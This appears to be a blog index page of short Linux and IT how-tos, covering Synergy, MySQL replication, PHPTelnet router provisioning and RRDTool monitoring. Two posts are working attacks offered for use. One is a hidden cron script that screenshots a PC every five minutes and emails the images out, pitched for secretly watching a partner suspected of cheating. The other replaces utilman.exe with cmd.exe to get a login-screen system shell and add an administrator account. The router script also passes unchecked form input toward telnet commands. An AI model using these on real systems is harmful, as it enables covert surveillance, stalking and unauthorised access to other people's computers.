This article is user submitted by rich0rd. You can also submit articles.
You have multiple computers, and your desk is cluttered with keyboards, mice, and monitors? You desperately need more space, and you are tired of moving your hands the long way from one keyboard to the next? Do not worry any more - rescue is here in form of synergy.
Synergy is a nifty little program which allows you to share your mouse and keyboard with other computers on your network. Just move the mouse out of your screen and it magically appears on the screen of the next computer allowing you to type there. Additionally, you can share cut and paste selections, so you can cut something on one screen/PC, move the mouse to the other screen and paste your selection there . Synergy is available for Windows (XP, NT), GNU/Linux, Mac OS X, and Unix. And the best thing is you can even mix different operating systems. Sounds interesting? So let’s see how it works.
Synergy is composed of a server (synergys) and a client part (synergyc) which communicate with each other over a network to exchange keyboard and mouse events. The server is started on the main PC whose keyboard and mouse should be shared, and the client is started on each machine which should use the input devices of the server. In the configuration file, you define which screen is to the left, right, top, or bottom of each monitor. (like in other multi-monitor setups). If the mouse is moved over an edge, the control events are sent over the network to the host which is defined in the configuration.
Get it
There are binary packages available at the synergy sourceforge page, but if you are using a OS with package management system I recommend checking if it is available there first. Install synergy on every machine which should participate in the input sharing.
Read the rest of this entry …
Not a Linux user? Stay tuned, I will be posting a Windows version soon.
Have suspicions about what goes on on your own computer when you are away? Think someone might be cheating? Do you often see that the history has been deleted out of the browser? Maybe you just want to keep tabs on what your kids are looking at when you aren’t right there watching.
By using some basic Linux commands and utilities (import, cron, postfix, and mutt) we can spy on any PC we have root access to.
The process is as follows:
- Cron takes a screen shot of the desktop and saves it to a file using the import command.
- Cron emails the screenshot to a specified address on a specific interval by using mutt.
The process is quite simple. Just open your terminal follow these steps (tested on Ubuntu, should work on other distros as well):
- Install postfix, mutt, and imagemagick (for import):
sudo apt-get install postfix mutt imagemagick
- Create a message text file with something in it. Doesn’t matter what, just so it doesn’t get caught by the spam filters:
nano /path/to/message.txt
-
Create a file named ’spy.sh’ (save it somewhere secretive) and add the following lines (fifth and sixth lines are one line). Change emailaccount@domain.com to your email address. Feel free to remove the rm command if you would like to keep the images stored locally (I would recommend moving them out of the /tmp directory tho):
#!/bin/sh
NOW=$(date +%Y%m%d%k%M)
cd /tmp
import -window root screenshot-$NOW.jpg
mutt -s “Screenshot for $NOW” -a ./screenshot-$NOW.jpg emailaccount@domain.com < /path/to/message.txt
rm /tmp/screenshot-$NOW.jpg
- Now make the spy.sh executable:
chmod u+x /path/to/spy.sh
- Run the following (my cron didn’t run without it):
sudo touch /etc/cron.deny
- Edit your crontab ‘ sudo crontab -e‘ and enter the following:
*/5 * * * * /path/to/spy.sh
WARNING: This will email you a screen shot every 5 minutes. While this is great for spying beware that your email could fill up pretty quick! Take out some minutes in your crontab to decrease the interval ex, */10 for every 10 minutes or */20 for every 20 minutes.
TIP: If you don’t want the screenshot emailer running while you are on the PC just comment out the line we added with a ‘#’ at the beginning. Don’t forget to change it back before you leave!
TIP: If you aren’t receiving your messages your email server might be rejecting the email because it is originating from a dynamic IP range. In this case, you will need to configure mutt to use your email server instead.
That’s it! You should start receiving screen shots of your desktop in action once the crontab has been hit the first cycle. If you have any problems or questions feel free to leave a comment.
Have you ever changed or forgotten your Windows password? Fear not because I have the solution for you - and its completely free.

The following method works on Windows XP and Vista.
All you need is a Linux live CD (that auto mounts Windows partitions - ex. Ubuntu, Backtrack, Fedora, openSUSE).
Save the .iso and burn it to a disc.
Boot from the CD and follow these simple instructions - these instructions are assuming your are using backtrack, but should be similar for other Linux distributions:
- Open a Linux terminal and enter the following commands:
- cd /mnt
- ls (Take note of the folders listed here. You might need them in the next step.)
- cd sda1/Windows/System32/ (If this didn’t work you might have the wrong hard drive, try replacing ’sda1′ with sda2, hda1, or hda2)
- mv utilman.exe utilman.old && cp cmd.exe utilman.exe
- reboot (and remove the CD)
- Once rebooted, at Vista or XP log in screen, Press Windows key + U to run CMD with system privileges. Replace username below with the one of your choice - it must not already exist!
- c:\>net user username mypassword /add
- c:\>net localgroup administrators username /add
- Log in with the new admin account!
After completing don’t forget to copy the utilman.old back to utilman.exe or you will leave your system vulnerable - this is very important!!
I hope this helped in regaining access into your XP or Vista PC and if you know of any other tips like this please let us know in the comments.
UPDATE: Here is a backtrack video tutorial that covers the instructions.
MySQL is an excellent open source database system. Replication is a great way to keep data redundant in case of a server crash. However, replication should not take the place of backups in case of data corruption or mis-entered data - as this data will also be replicated to the slave.
MySQL replication takes place in a master-slave configuration. Be aware that by using the configuration - only changes made on the master are replicated to the slave. Any changes on the slave will not be replicated to the master.
Following the steps below, you can have MySQL replication setup in no time at all.
Source: MySQL Dev Site
Read the rest of this entry …
Nothing is worse than entering repetitive, monotonous commands into a router to accomplish a simple task. By using PHPTelnet we can create a script that will make use of a web form to provision (create pvc or a Private Virtual Circuit) DSL customers in a Cisco router. The script will also write to a log file for security and troubleshooting purposes. This script could be used for many other tasks as well as it is very easy to modify.
NOTE: Depending on your setup, you may need to make modifications to the script.

First, I will focus on the PHP script, and then the web form.
The first part of the script will call in the PHPTelnet.php file. And grab the variables from our web form with the POST method.
require_once "PHPTelnet.php";
$telnet = new PHPTelnet();
$vpi = $_POST['VPI'];
$vci = $_POST['VCI'];
$spd = $_POST['SPD'];
-
require_once "PHPTelnet.php";
-
-
$telnet = new PHPTelnet();
-
-
$vpi = $_POST[‘VPI’];
-
$vci = $_POST[‘VCI’];
-
$spd = $_POST[‘SPD’];
This next section deals with logging the requests to a file named ‘log.txt’. Make sure you manually create the file first.
//Log actions to file
$logfile="log.txt";
$fh = fopen($logfile, 'a') or die("ERROR: can't open file");
$stringData = $_SERVER['REMOTE_ADDR']." added ".$vpi."/".$vci." ".date("m-d-y.h:i")."\n";
fwrite($fh, $stringData);
fclose($fh);
-
//Log actions to file
-
$logfile="log.txt";
-
$fh =
fopen($logfile,
‘a’) or
die("<br />ERROR: can’t open file");
-
$stringData =
$_SERVER[‘REMOTE_ADDR’].
" added ".
$vpi.
"/".
$vci.
" ".
date("m-d-y.h:i").
"\n";
-
-
Initiate the connection. Make sure to modify the IP address, username, and password.
Read the rest of this entry …
Monitoring your website on a shared host is vital to the well being of your existence on the internet. There are several online services that will do this for you in exchange for a small price. While they may be a bit more accurate, I would like to share with you how to use RRDTool to monitor your website’s response time yourself.

image via rrdwiki (didn’t use mine because it hasn’t completed a full cycle yet.)
NOTE: I am using Ubuntu based Linux Mint. This process should be the same on other Debian based distributions. If you are not running a Debian based distribution, you may have to modify some paths to the rrdtool executable. Some of this procedure has been taken from the rrdwiki.
The first step is to install RRDTool:
sudo apt-get install rrdtool
-
sudo apt-get install rrdtool
Read the rest of this entry …